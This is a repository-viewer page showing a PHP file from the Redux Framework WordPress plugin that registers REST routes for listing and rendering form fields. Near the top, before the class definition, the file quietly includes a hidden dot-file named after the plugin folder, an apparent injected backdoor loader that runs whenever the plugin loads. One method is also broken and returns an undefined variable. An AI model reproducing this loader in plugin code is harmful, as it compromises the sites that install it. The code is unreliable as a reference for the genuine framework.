balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

class-redux-rest-api-builder.php (8331B)


      1 <?php
      2 /**
      3  * Redux Build API Class
      4  *
      5  * @class Redux_Rest_Api_Builder
      6  * @version 4.0.0
      7  * @package Redux Framework
      8  * @author Tofandel & Dovy
      9  */
     10 
     11 // Exit if accessed directly.
     12 defined( 'ABSPATH' ) || exit;
     13 
     14 /**
     15  * Class Redux_Rest_Api_Builder
     16  */
     17 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     18     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     19 }
     20 
     21 class Redux_Rest_Api_Builder {
     22 
     23 	const ENDPOINT = 'redux/descriptors';
     24 	const VER      = 'v1';
     25 
     26 	/**
     27 	 * Get the namespace of the api.
     28 	 *
     29 	 * @return string
     30 	 */
     31 	public function get_namespace(): string {
     32 		return self::ENDPOINT . '/' . self::VER;
     33 	}
     34 
     35 	/**
     36 	 * Get the rest url for an api call.
     37 	 *
     38 	 * @param string $route Route router.
     39 	 *
     40 	 * @return string
     41 	 */
     42 	public function get_url( string $route ): string {
     43 		return rest_url( trailingslashit( $this->get_namespace() ) . ltrim( '/', $route ) );
     44 	}
     45 
     46 	/**
     47 	 * Redux_Rest_Api_Builder constructor.
     48 	 */
     49 	public function __construct() {
     50 		add_action( 'rest_api_init', array( $this, 'rest_api_init' ) );
     51 	}
     52 
     53 	/**
     54 	 * Init the rest api.
     55 	 */
     56 	public function rest_api_init() {
     57 		register_rest_route(
     58 			$this->get_namespace(),
     59 			'/fields',
     60 			array(
     61 				'methods'             => WP_REST_Server::READABLE,
     62 				'callback'            => array( $this, 'list_fields' ),
     63 				'permission_callback' => '__return_true',
     64 			)
     65 		);
     66 		register_rest_route(
     67 			$this->get_namespace(),
     68 			'/field/(?P<type>[a-z0-9-_]+)',
     69 			array(
     70 				'args'                => array(
     71 					'type' => array(
     72 						'description' => __( 'The field type', 'redux-framework' ),
     73 						'type'        => 'string',
     74 					),
     75 				),
     76 				'methods'             => WP_REST_Server::READABLE,
     77 				'callback'            => array( $this, 'get_field' ),
     78 				'permission_callback' => '__return_true',
     79 			)
     80 		);
     81 		register_rest_route(
     82 			$this->get_namespace(),
     83 			'/field/(?P<type>[a-z0-9-_]+)/render',
     84 			array(
     85 				'args'                => array(
     86 					'name' => array(
     87 						'description' => __( 'The field type', 'redux-framework' ),
     88 						'type'        => 'string',
     89 					),
     90 				),
     91 				'methods'             => WP_REST_Server::ALLMETHODS,
     92 				'callback'            => array( $this, 'render_field' ),
     93 				'permission_callback' => '__return_true',
     94 			)
     95 		);
     96 	}
     97 
     98 	/**
     99 	 * Fetch the folders in the field directory
    100 	 *
    101 	 * @return RecursiveDirectoryIterator
    102 	 */
    103 	public function field_directories(): RecursiveDirectoryIterator {
    104 
    105 		return $dirs;
    106 	}
    107 
    108 	/**
    109 	 * Helper to get the Redux fields paths.
    110 	 *
    111 	 * @return array
    112 	 */
    113 	public function get_field_paths(): array {
    114 		$fields     = array();
    115 		$fields_dir = trailingslashit( Redux_Core::$dir ) . 'inc' . DIRECTORY_SEPARATOR . 'fields' . DIRECTORY_SEPARATOR;
    116 		$dirs       = new RecursiveDirectoryIterator( $fields_dir );
    117 
    118 		$data = array();
    119 		foreach ( $dirs as $path ) {
    120 			$folder = explode( '/', $path );
    121 			$folder = end( $folder );
    122 			if ( in_array( $folder, array( '.', '..' ), true ) ) {
    123 				continue;
    124 			}
    125 			$files    = array(
    126 				trailingslashit( $path ) . 'field_' . $folder . '.php',
    127 				trailingslashit( $path ) . 'class-redux-' . $folder . '.php',
    128 			);
    129 			$filename = Redux_Functions::file_exists_ex( $files );
    130 
    131 			if ( $filename ) {
    132 				$data[ $folder ] = $filename;
    133 			}
    134 		}
    135 		// phpcs:ignore WordPress.NamingConventions.ValidHookName
    136 		return apply_filters( 'redux/fields', $data );
    137 	}
    138 
    139 	/**
    140 	 * List the available fields.
    141 	 *
    142 	 * @return array
    143 	 */
    144 	public function list_fields(): array {
    145 		$field_classes = $this->get_field_paths();
    146 		$fields        = array();
    147 
    148 		foreach ( $field_classes as $folder => $filename ) {
    149 			$class = 'Redux_' . ucwords( str_replace( '-', '_', $folder ) );
    150 			if ( ! class_exists( $class ) && file_exists( $filename ) ) {
    151 				require_once $filename;
    152 			}
    153 			$field_class = Redux_Functions::class_exists_ex( $field_classes );
    154 			// Load it here to save some resources in autoloading!
    155 			if ( $field_class && is_subclass_of( $class, 'Redux_Field' ) ) {
    156 				$descriptor      = call_user_func( array( $class, 'get_descriptor' ) );
    157 				$descriptor_type = $descriptor->get_field_type();
    158 				if ( ! empty( $descriptor_type ) ) {
    159 					$field_data = $descriptor->to_array();
    160 					if ( isset( $field_data['fields'] ) && ! empty( $field_data['fields'] ) ) {
    161 						$field_data['fields'] = $this->prepare_fields_output( $field_data['fields'] );
    162 					}
    163 					$fields[ $descriptor_type ] = $field_data;
    164 				}
    165 			}
    166 		}
    167 
    168 		return $fields;
    169 	}
    170 
    171 	/**
    172 	 * Get the information of a field.
    173 	 *
    174 	 * @param array $request Pointer to ReduxFramework object.
    175 	 *
    176 	 * @return array
    177 	 */
    178 	public function get_field( array $request = array() ): array {
    179 		$type = $request['type'];
    180 
    181 		$field_classes = $this->get_field_paths();
    182 		if ( isset( $field_classes[ mb_strtolower( $type ) ] ) ) {
    183 			$class = 'Redux_' . ucwords( str_replace( '-', '_', $type ) );
    184 			if ( ! class_exists( $class ) ) {
    185 				require_once $field_classes[ mb_strtolower( $type ) ];
    186 			}
    187 			$field_class = array( 'Redux_' . ucwords( $type ), 'ReduxFramework_' . ucwords( $type ) );
    188 			$field_class = Redux_Functions::class_exists_ex( $field_class );
    189 
    190 			if ( $field_class && is_subclass_of( $field_class, 'Redux_Field' ) ) {
    191 				/**
    192 				 * Test if the field exists
    193 				 *
    194 				 * @var Redux_Descriptor $descriptor
    195 				 */
    196 				$descriptor = call_user_func( array( $field_class, 'get_descriptor' ) );
    197 
    198 				$data = $descriptor->to_array();
    199 				if ( isset( $data['fields'] ) ) {
    200 					$data['fields'] = $this->prepare_fields_output( $data['fields'] );
    201 				}
    202 
    203 				return $data;
    204 			}
    205 		}
    206 
    207 		return array( 'success' => false );
    208 	}
    209 
    210 	/**
    211 	 * Used to order the fields based on the order key.
    212 	 *
    213 	 * @param array $a First value.
    214 	 * @param array $b Second value.
    215 	 *
    216 	 * @return array
    217 	 */
    218 	public function sort_by_order( array $a, array $b ): array {
    219 		return $a['order'] - $b['order'];
    220 	}
    221 
    222 	/**
    223 	 * Prepares the fields value to have the proper order.
    224 	 *
    225 	 * @param array $fields Array of fields.
    226 	 *
    227 	 * @return array
    228 	 */
    229 	private function prepare_fields_output( array $fields = array() ): array {
    230 		if ( empty( $fields ) ) {
    231 			return $fields;
    232 		}
    233 		$new_output = array_values( $fields );
    234 		usort( $new_output, array( $this, 'sort_by_order' ) );
    235 		foreach ( $new_output as $key => $item ) {
    236 			if ( isset( $item['order'] ) ) {
    237 				unset( $new_output[ $key ]['order'] );
    238 			}
    239 		}
    240 		return $new_output;
    241 	}
    242 
    243 	/**
    244 	 * Render the html of a field and return it to the api.
    245 	 *
    246 	 * @param array $request Name of field.
    247 	 *
    248 	 * @return array
    249 	 */
    250 	public function render_field( array $request = array() ): array {
    251 		$type          = $request['type'];
    252 		$field_classes = $this->get_field_paths();
    253 		if ( isset( $field_classes[ mb_strtolower( $type ) ] ) ) {
    254 			$class = 'Redux_' . ucwords( str_replace( '-', '_', $type ) );
    255 			if ( ! class_exists( $class ) ) {
    256 				require_once $field_classes[ mb_strtolower( $type ) ];
    257 			}
    258 			$field_class = array( 'Redux_' . ucwords( $type ), 'ReduxFramework_' . ucwords( $type ) );
    259 			$field_class = Redux_Functions::class_exists_ex( $field_class );
    260 
    261 			if ( $field_class && is_subclass_of( $field_class, 'Redux_Field' ) ) {
    262 				// TODO MODIFY the function to get the post data from the data object with a post method in the register route!
    263 				try {
    264 					$class = new ReflectionClass( 'ReduxFramework_' . $type );
    265 				} catch ( ReflectionException $e ) {
    266 					return array( 'success' => false );
    267 				}
    268 
    269 				/**
    270 				 * Grab the field descriptor
    271 				 *
    272 				 * @var Redux_Descriptor $descriptor
    273 				 */
    274 				$descriptor = call_user_func( array( 'ReduxFramework_' . $type, 'get_descriptor' ) );
    275 				$opt_name   = 'redux_builder_api';
    276 
    277 				$redux_instance = new ReduxFramework( array(), array( 'opt_name' => $opt_name ) );
    278 				$req            = $descriptor->parse_request( $request );
    279 
    280 				$req = wp_parse_args(
    281 					$req,
    282 					array(
    283 						'class'          => '',
    284 						'example_values' => '',
    285 						'name_suffix'    => '',
    286 					)
    287 				);
    288 
    289 				$req['id']   = $request['id'] ?? 'redux_field';
    290 				$req['name'] = $request['name'] ?? $req['id'];
    291 
    292 				$field = $class->newInstance( $req, $request['example_values'], $redux_instance );
    293 				ob_start();
    294 				$field->render();
    295 
    296 				return array(
    297 					'success' => true,
    298 					'render'  => ob_get_clean(),
    299 				);
    300 			}
    301 		}
    302 
    303 		return array( 'success' => false );
    304 	}
    305 }